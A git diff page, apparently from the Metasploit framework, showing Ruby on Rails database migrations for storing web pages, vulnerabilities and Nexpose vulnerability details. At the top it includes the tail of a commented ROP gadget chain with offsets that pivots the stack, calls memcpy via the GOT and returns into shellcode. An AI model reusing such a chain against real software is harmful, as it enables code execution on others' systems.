<gadget offset="0x006bffd2">mov edx, ecx ; mov eax, edx ; pop ebp ; ret || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x003660e4">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x00394107">pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x0017892d">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
|
||||
<gadget offset="0x00021cd9">pop eax; ret</gadget>
|
||||
<gadget offset="0x008cf1e8">memcpy@got</gadget>
|
||||
<gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x0001f666">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x000b9ac5">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x0033e7ea">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x00020453">pushad, ret</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
-->
|
||||
</db>
|
||||
@@ -4,37 +4,42 @@ class ConvertBinary < ActiveRecord::Migration
|
||||
class WebPage < ActiveRecord::Base
|
||||
serialize :headers
|
||||
end
|
||||
|
||||
|
||||
class WebVuln < ActiveRecord::Base
|
||||
serialize :params
|
||||
end
|
||||
|
||||
|
||||
def bfilter(str)
|
||||
str = str.to_s
|
||||
str.encoding = 'binary' if str.respond_to?('encoding=')
|
||||
str.gsub(/[\x00\x7f-\xff]/, '')
|
||||
end
|
||||
|
||||
|
||||
def self.up
|
||||
rename_column :web_pages, :body, :body_text
|
||||
rename_column :web_pages, :request, :request_text
|
||||
rename_column :web_vulns, :request, :request_text
|
||||
rename_column :web_vulns, :proof, :proof_text
|
||||
|
||||
|
||||
add_column :web_pages, :body, :binary
|
||||
add_column :web_pages, :request, :binary
|
||||
add_column :web_vulns, :request, :binary
|
||||
add_column :web_vulns, :request, :binary
|
||||
add_column :web_vulns, :proof, :binary
|
||||
|
||||
|
||||
WebPage.find(:all).each { |r| r.body = r.body_text; r.save! }
|
||||
WebPage.find(:all).each { |r| r.request = r.request_text; r.save! }
|
||||
WebVuln.find(:all).each { |r| r.proof = r.proof_text; r.save! }
|
||||
WebVuln.find(:all).each { |r| r.request = r.request_text; r.save! }
|
||||
|
||||
|
||||
remove_column :web_pages, :body_text
|
||||
remove_column :web_pages, :request_text
|
||||
remove_column :web_vulns, :request_text
|
||||
remove_column :web_vulns, :proof_text
|
||||
|
||||
WebPage.connection.schema_cache.clear!
|
||||
WebPage.reset_column_information
|
||||
WebVuln.connection.schema_cache.clear!
|
||||
WebVuln.reset_column_information
|
||||
end
|
||||
|
||||
def self.down
|
||||
@@ -43,21 +48,25 @@ class ConvertBinary < ActiveRecord::Migration
|
||||
rename_column :web_pages, :request, :request_binary
|
||||
rename_column :web_vulns, :request, :request_binary
|
||||
rename_column :web_vulns, :proof, :proof_binary
|
||||
|
||||
|
||||
add_column :web_pages, :body, :text
|
||||
add_column :web_pages, :request, :text
|
||||
add_column :web_vulns, :request, :text
|
||||
add_column :web_vulns, :proof, :text
|
||||
|
||||
|
||||
WebPage.find(:all).each { |r| r.body = bfilter(r.body_binary); r.save! }
|
||||
WebPage.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! }
|
||||
WebVuln.find(:all).each { |r| r.proof = bfilter(r.proof_binary); r.save! }
|
||||
WebVuln.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! }
|
||||
|
||||
|
||||
remove_column :web_pages, :body_binary
|
||||
remove_column :web_pages, :request_binary
|
||||
remove_column :web_vulns, :request_binary
|
||||
remove_column :web_vulns, :proof_binary
|
||||
|
||||
|
||||
WebPage.connection.schema_cache.clear!
|
||||
WebPage.reset_column_information
|
||||
WebVuln.connection.schema_cache.clear!
|
||||
WebVuln.reset_column_information
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
class AddCounterCachesToHosts < ActiveRecord::Migration
|
||||
|
||||
def self.up
|
||||
add_column :hosts, :note_count, :integer, :default => 0
|
||||
add_column :hosts, :vuln_count, :integer, :default => 0
|
||||
add_column :hosts, :service_count, :integer, :default => 0
|
||||
|
||||
Mdm::Host.reset_column_information
|
||||
Mdm::Host.all.each do |h|
|
||||
Mdm::Host.reset_counters h.id, :notes
|
||||
Mdm::Host.reset_counters h.id, :vulns
|
||||
Mdm::Host.reset_counters h.id, :services
|
||||
end
|
||||
end
|
||||
|
||||
def self.down
|
||||
remove_column :hosts, :note_count
|
||||
remove_column :hosts, :vuln_count
|
||||
remove_column :hosts, :service_count
|
||||
end
|
||||
end
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
class AddVulnDetails < ActiveRecord::Migration
|
||||
|
||||
def self.up
|
||||
create_table :vuln_details do |t|
|
||||
t.integer :vuln_id # Vuln table reference
|
||||
t.float :cvss_score # 0.0 to 10.0
|
||||
t.string :cvss_vector # Ex: (AV:N/AC:L/Au:N/C:C/I:C/A:C)(AV:N/AC:L/Au:N/C:C/I:C/A:C)
|
||||
|
||||
t.string :title # Short identifier
|
||||
t.text :description # Plain text or HTML (trusted)
|
||||
t.text :solution # Plain text or HTML (trusted)
|
||||
t.binary :proof # Should be UTF-8, but may not be, sanitize on output
|
||||
# Technically this duplicates vuln.info, but that field
|
||||
# is poorly managed / handled today. Eventually we will
|
||||
# replace vuln.info
|
||||
|
||||
# Nexpose-specific fields
|
||||
t.integer :nx_console_id # NexposeConsole table reference
|
||||
t.integer :nx_device_id # Reference from the Nexpose side
|
||||
t.string :nx_vuln_id # 'jre-java-update-flaw'
|
||||
t.float :nx_severity # 0-10
|
||||
t.float :nx_pci_severity # 0-10
|
||||
t.timestamp :nx_published # Normalized from "20081205T000000000"
|
||||
t.timestamp :nx_added # Normalized from "20081205T000000000"
|
||||
t.timestamp :nx_modified # Normalized from "20081205T000000000"
|
||||
t.text :nx_tags # Comma separated
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
def self.down
|
||||
drop_table :vuln_details
|
||||
end
|
||||
end
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user